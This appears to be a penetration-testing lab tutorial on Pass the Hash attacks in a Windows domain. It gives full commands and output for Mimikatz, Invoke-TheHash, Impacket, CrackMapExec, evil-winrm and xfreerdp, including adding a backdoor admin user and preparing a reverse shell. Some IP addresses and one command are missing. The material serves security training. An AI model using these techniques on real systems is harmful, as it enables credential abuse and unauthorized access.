Pass the Hash (PtH)

A Pass the Hash (PtH) attack is a technique where an attacker uses a password hash instead of the plain text password for authentication. The attacker doesn't need to decrypt the hash to obtain a plaintext password. PtH attacks exploit the authentication protocol, as the password hash remains static for every session until the password is changed.

As discussed in the previous sections, the attacker must have administrative privileges or particular privileges on the target machine to obtain a password hash. Hashes can be obtained in several ways, including:

  • Dumping the local SAM database from a compromised host.

  • Extracting hashes from the NTDS database (ntds.dit) on a Domain Controller.

  • Pulling the hashes from memory (lsass.exe).

Let's assume we obtain the password hash (64F12CDDAA88057E06A81B54E73B949B) for the account julio from the domain inlanefreight.htb. Let's see how we can perform Pass the Hash attacks from Windows and Linux machines.

Note: The tools we will be using are located in the C:\tools directory on the target host. Once you start the machine and complete the exercises, you can use the tools in that directory. This lab contains two machines, you will have access to one (MS01), and from there, you will connect to the second machine (DC01).

Windows NTLM Introduction

Microsoft's Windows New Technology LAN Manager (NTLM) is a set of security protocols that authenticates users' identities while also protecting the integrity and confidentiality of their data. NTLM is a single sign-on (SSO) solution that uses a challenge-response protocol to verify the user's identity without having them provide a password.

Despite its known flaws, NTLM is still commonly used to ensure compatibility with legacy clients and servers, even on modern systems. While Microsoft continues to support NTLM, Kerberos has taken over as the default authentication mechanism in Windows 2000 and subsequent Active Directory (AD) domains.

With NTLM, passwords stored on the server and domain controller are not "salted," which means that an adversary with a password hash can authenticate a session without knowing the original password. We call this a Pass the Hash (PtH) Attack.

Pass the Hash with Mimikatz (Windows)

The first tool we will use to perform a Pass the Hash attack is Mimikatz. Mimikatz has a module named sekurlsa::pth that allows us to perform a Pass the Hash attack by starting a process using the hash of the user's password. To use this module, we will need the following:

  • /user - The user name we want to impersonate.

  • /rc4 or /NTLM - NTLM hash of the user's password.

  • /domain - Domain the user to impersonate belongs to. In the case of a local user account, we can use the computer name, localhost, or a dot (.).

  • /run - The program we want to run with the user's context (if not specified, it will launch cmd.exe).

Pass the Hash from Windows Using Mimikatz:

c:\tools> mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit
user    : julio
domain  : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM    : 64F12CDDAA88057E06A81B54E73B949B
  |  PID  8404
  |  TID  4268
  |  LSA Process was already R/W
  |  LUID 0 ; 5218172 (00000000:004f9f7c)
  \_ msv1_0   - data copy @ 0000028FC91AB510 : OK !
  \_ kerberos - data copy @ 0000028FC964F288
   \_ des_cbc_md4       -> null
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ *Password replace @ 0000028FC9673AE8 (32) -> null

Now we can use cmd.exe to execute commands in the user's context. For this example, julio can connect to a shared folder named julio on the DC.

Pass the Hash with PowerShell Invoke-TheHash (Windows)

Another tool we can use to perform Pass the Hash attacks on Windows is Invoke-TheHash. This tool is a collection of PowerShell functions for performing Pass the Hash attacks with WMI and SMB. WMI and SMB connections are accessed through the .NET TCPClient. Authentication is performed by passing an NTLM hash into the NTLMv2 authentication protocol. Local administrator privileges are not required client-side, but the user and hash we use to authenticate need to have administrative rights on the target computer. For this example we will use the user julio and the hash 64F12CDDAA88057E06A81B54E73B949B.

When using Invoke-TheHash, we have two options: SMB or WMI command execution. To use this tool, we need to specify the following parameters to execute commands in the target computer:

  • Target - Hostname or IP address of the target.

  • Username - Username to use for authentication.

  • Domain - Domain to use for authentication. This parameter is unnecessary with local accounts or when using the @domain after the username.

  • Hash - NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM format.

  • Command - Command to execute on the target. If a command is not specified, the function will check to see if the username and hash have access to WMI on the target.

The following command will use the SMB method for command execution to create a new user named mark and add the user to the Administrators group.

Invoke-TheHash with SMB

PS c:\htb> cd C:\tools\Invoke-TheHash\
PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1
PS c:\tools\Invoke-TheHash> Invoke-SMBExec -Target -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose

VERBOSE: [+] inlanefreight.htb\julio successfully authenticated on
VERBOSE: inlanefreight.htb\julio has Service Control Manager write privilege on
VERBOSE: [*] Trying to execute command on
[+] Command executed with service EGDKNNLQVOLFHRQTQMAU on

We can also get a reverse shell connection in the target machine. If you are unfamiliar with reverse shells, review the Shells & Payloads module on HTB Academy.

To get a reverse shell, we need to start our listener using Netcat on our Windows machine, which has the IP address We will use port 8001 to wait for the connection.

Netcat Listener

PS C:\tools> .\nc.exe -lvnp 8001
listening on [any] 8001 ...

To create a simple reverse shell using PowerShell, we can visit, set our IP and port 8001, and select the option PowerShell #3 (Base64), as shown in the following image.

Now we can execute Invoke-TheHash to execute our PowerShell reverse shell script in the target computer. Notice that instead of providing the IP address, which is, we will use the machine name DC01 (either would work).

Invoke-TheHash with WMI

PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1

[+] Command executed with process id 520 on DC01

The result is a reverse shell connection from the DC01 host (

Pass the Hash with Impacket (Linux)

Impacket has several tools we can use for different operations such as Command Execution and Credential Dumping, Enumeration, etc. For this example, we will perform command execution on the target machine using PsExec.

Pass the Hash with Impacket PsExec

ammartiger@htb[/htb]$ impacket-psexec [email protected] -hashes :30B3783CE2ABF1AF70F77D0660CF3453

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file SLUBMRXK.exe
[*] Opening SVCManager on
[*] Creating service AdzX on
[*] Starting service AdzX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19044.1415]
(c) Microsoft Corporation. All rights reserved.


There are several other tools in the Impacket toolkit we can use for command execution using Pass the Hash attacks, such as:

Pass the Hash with CrackMapExec (Linux)

CrackMapExec is a post-exploitation tool that helps automate assessing the security of large Active Directory networks. We can use CrackMapExec to try to authenticate to some or all hosts in a network looking for one host where we can authenticate successfully as a local admin. This method is also called "Password Spraying" and is covered in-depth in the Active Directory Enumeration & Attacks module. Note that this method can lock out domain accounts, so keep the target domain's account lockout policy in mind and make sure to use the local account method, which will try just one login attempt on a host in a given range using the credentials provided if that is your intent.

Pass the Hash with CrackMapExec

ammartiger@htb[/htb]# crackmapexec smb -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453

SMB   445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:.) (signing:True) (SMBv1:False)
SMB   445    DC01             [-] .\Administrator:30B3783CE2ABF1AF70F77D0660CF3453 STATUS_LOGON_FAILURE 
SMB    445    MS01             [*] Windows 10.0 Build 19041 x64 (name:MS01) (domain:.) (signing:False) (SMBv1:False)
SMB    445    MS01             [+] .\Administrator 30B3783CE2ABF1AF70F77D0660CF3453 (Pwn3d!)

If we want to perform the same actions but attempt to authenticate to each host in a subnet using the local administrator password hash, we could add --local-auth to our command. This method is helpful if we obtain a local administrator hash by dumping the local SAM database on one host and want to check how many (if any) other hosts we can access due to local admin password re-use. If we see Pwn3d!, it means that the user is a local administrator on the target computer. We can use the option -x to execute commands. It is common to see password reuse against many hosts in the same subnet. Organizations will often use gold images with the same local admin password or set this password the same across multiple hosts for ease of administration. If we run into this issue on a real-world engagement, a great recommendation for the customer is to implement the Local Administrator Password Solution (LAPS), which randomizes the local administrator password and can be configured to have it rotate on a fixed interval.

CrackMapExec - Command Execution

ammartiger@htb[/htb]# crackmapexec smb -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami

SMB  445    MS01            [*] Windows 10 Enterprise 10240 x64 (name:MS01) (domain:.) (signing:False) (SMBv1:True)
SMB  445    MS01            [+] .\Administrator 30B3783CE2ABF1AF70F77D0660CF3453 (Pwn3d!)
SMB  445    MS01            [+] Executed command 
SMB  445    MS01            MS01\administrator

Review the CrackMapExec documentation Wiki to learn more about the tool's extensive features.

Pass the Hash with evil-winrm (Linux)

evil-winrm is another tool we can use to authenticate using the Pass the Hash attack with PowerShell remoting. If SMB is blocked or we don't have administrative rights, we can use this alternative protocol to connect to the target machine.

Pass the Hash with evil-winrm

ammartiger@htb[/htb]$ evil-winrm -i -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>

Note: When using a domain account, we need to include the domain name, for example: [email protected]

Pass the Hash with RDP (Linux)

We can perform an RDP PtH attack to gain GUI access to the target system using tools like xfreerdp.

There are a few caveats to this attack:

  • Restricted Admin Mode, which is disabled by default, should be enabled on the target host; otherwise, you will be presented with the following error:

This can be enabled by adding a new registry key DisableRestrictedAdmin (REG_DWORD) under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa with the value of 0. It can be done using the following command:

Enable Restricted Admin Mode to Allow PtH

c:\tools> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

Once the registry key is added, we can use xfreerdp with the option /pth to gain RDP access:

Pass the Hash Using RDP

ammartiger@htb[/htb]$ xfreerdp  /v: /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B

[15:38:26:999] [94965:94966] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state
[15:38:26:999] [94965:94966] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpdr
[15:38:26:352] [94965:94966] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[15:38:26:352] [94965:94966] [ERROR][com.freerdp.crypto] - @           WARNING: CERTIFICATE NAME MISMATCH!           @
[15:38:26:352] [94965:94966] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

UAC Limits Pass the Hash for Local Accounts

UAC (User Account Control) limits local users' ability to perform remote administration operations. When the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy is set to 0, it means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to perform remote administration tasks. Setting it to 1 allows the other local admins as well.

Note: There is one exception, if the registry key FilterAdministratorToken (disabled by default) is enabled (value 1), the RID 500 account (even if it is renamed) is enrolled in UAC protection. This means that remote PTH will fail against the machine when using that account.

These settings are only for local administrative accounts. If we get access to a domain account with administrative rights on a computer, we can still use Pass the Hash with that computer. If you want to learn more about LocalAccountTokenFilterPolicy, you can read Will Schroeder's blog post Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy.

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